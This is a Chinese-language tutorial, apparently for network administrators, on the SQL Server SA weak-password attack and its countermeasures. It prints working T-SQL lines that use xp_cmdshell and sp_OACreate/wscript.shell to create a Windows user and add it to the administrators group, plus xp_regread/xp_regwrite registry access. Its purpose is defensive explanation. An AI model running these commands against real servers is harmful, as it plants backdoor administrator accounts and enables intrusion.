存在Microsoft SQL Server SA弱口令漏洞的計算機一直是網(wǎng)絡攻擊者青睞的對象之一，通過這個漏洞，可以輕易的得到服務器的管理權(quán)限，從而威脅網(wǎng)絡及數(shù)據(jù)的安全。作為網(wǎng)絡管理員，我們可不能不聞不問，一定要弄清楚這其中的起因、經(jīng)過和結(jié)果，才能有的放矢，做到更為有效的防范，下面我就詳細的向大家介紹一下。

Microsoft SQLServer是一個C/S模式的強大的關系型數(shù)據(jù)庫管理系統(tǒng)，應用領域十分廣泛，從網(wǎng)站后臺數(shù)據(jù)庫到一些MIS(管理信息系統(tǒng))到處都可以看到它的身影。網(wǎng)絡中利用Microsoft SQLServer SA弱口令入侵的核心內(nèi)容就是利用Microsoft SQLServer中的存儲過程獲得系統(tǒng)管理員權(quán)限，那到底什么是存儲過程？

存儲過程是存儲在SQLServer中的預先寫好的SQL語句集合，其中危險性最高的擴展存儲過程就是xp_cmdshell了，它可以執(zhí)行操作系統(tǒng)的任何指令，而SA是Microsoft SQLServer的管理員帳號，擁有最高權(quán)限，它可以執(zhí)行擴展存儲過程，并獲得返回值，比如執(zhí)行：

exec master..xp_cmdshell 'net user test 1234 /add'和exec master..xp_cmdshell 'net 
localgroup administrators test /add'

498)this.style.width=498;">

現(xiàn)在你應該明白為什么得到SA密碼，就可以得到系統(tǒng)的最高權(quán)限了吧。而往往不少網(wǎng)絡管理員不清楚這個情況，為自己的SA用戶起了一些諸如1234，4321等簡單的密碼，甚至根本就不設置密碼，這樣網(wǎng)絡入侵者就可以利用一些黑客工具很輕松的掃描到SA的密碼，進而控制計算機。

除了xp_cmdshell，還有一些存儲過程也有可能會被入侵者利用到：

1、xp_regread(這個擴展存儲過程可以讀取注冊表指定的鍵里指定的值)，使用方法(得到機器名)：

DECLARE @test varchar(50)
EXEC master..xp_regread @rootkey='HKEY_LOCAL_MACHINE',
@key='system\controlset001\control\computername\computername',
@value_name='computername',
@value=@test OUTPUT
SELECT @test

2、xp_regwrite(這個擴展存儲過程可以寫入注冊表指定的鍵里指定的值)，使用方法(在鍵HKEY_LOCAL_MACHINE\SOFTWARE\aaa\aaaValue寫入bbb)：

EXEC master..xp_regwrite
@rootkey='HKEY_LOCAL_MACHINE',
@key='SOFTWARE\aaa',
@value_name='aaaValue',
@type='REG_SZ',
@value='bbb'

3、OLE相關的一系列存儲過程，這系列的存儲過程有sp_OACreate，sp_OADestroy，sp_OAGetErrorInfo，sp_OAGetProperty，sp_OAMethod，sp_OASetProperty，sp_OAStop，使用方法：

DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT 
EXEC SP_OAMETHOD @shell,'run',null, 'c:\WINNT\system32\cmd.exe /c net user test 
1234 /add'--

DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT 
EXEC SP_OAMETHOD @shell,'run',null, 'c:\WINNT\system32\cmd.exe /c net localgroup 
administrators test /add '--

解決辦法：給SA起個足夠復雜的密碼，使網(wǎng)絡攻擊者很難破解出來。為了保險，我們還要到在SQLServer的查詢分析器中使用存儲過程sp_dropextendedproc刪除xp_cmdshell等存儲過程，需要時再使用sp_addextendedproc恢復即可，具體操作可以在SQLServer中查詢sp_dropextendedproc和sp_addextendedproc的使用幫助，需要注意一點的是刪除OLE相關系列的存儲過程，可能會造成企業(yè)管理器中的某些功能無法使用，這里筆者不建議刪除。

既然我們知道了SP_OACREATE的使用方法，那我們就可以到\WINNT\system32下找到cmd.exe，net.exe和net1.exe這三個文件，在“屬性”—“安全”中把可以對他們訪問的用戶全部刪除掉，這樣就無法使用SP_OACREATE來增加系統(tǒng)用戶了，在我們需要訪問這些文件的時候再加上訪問用戶就可以了。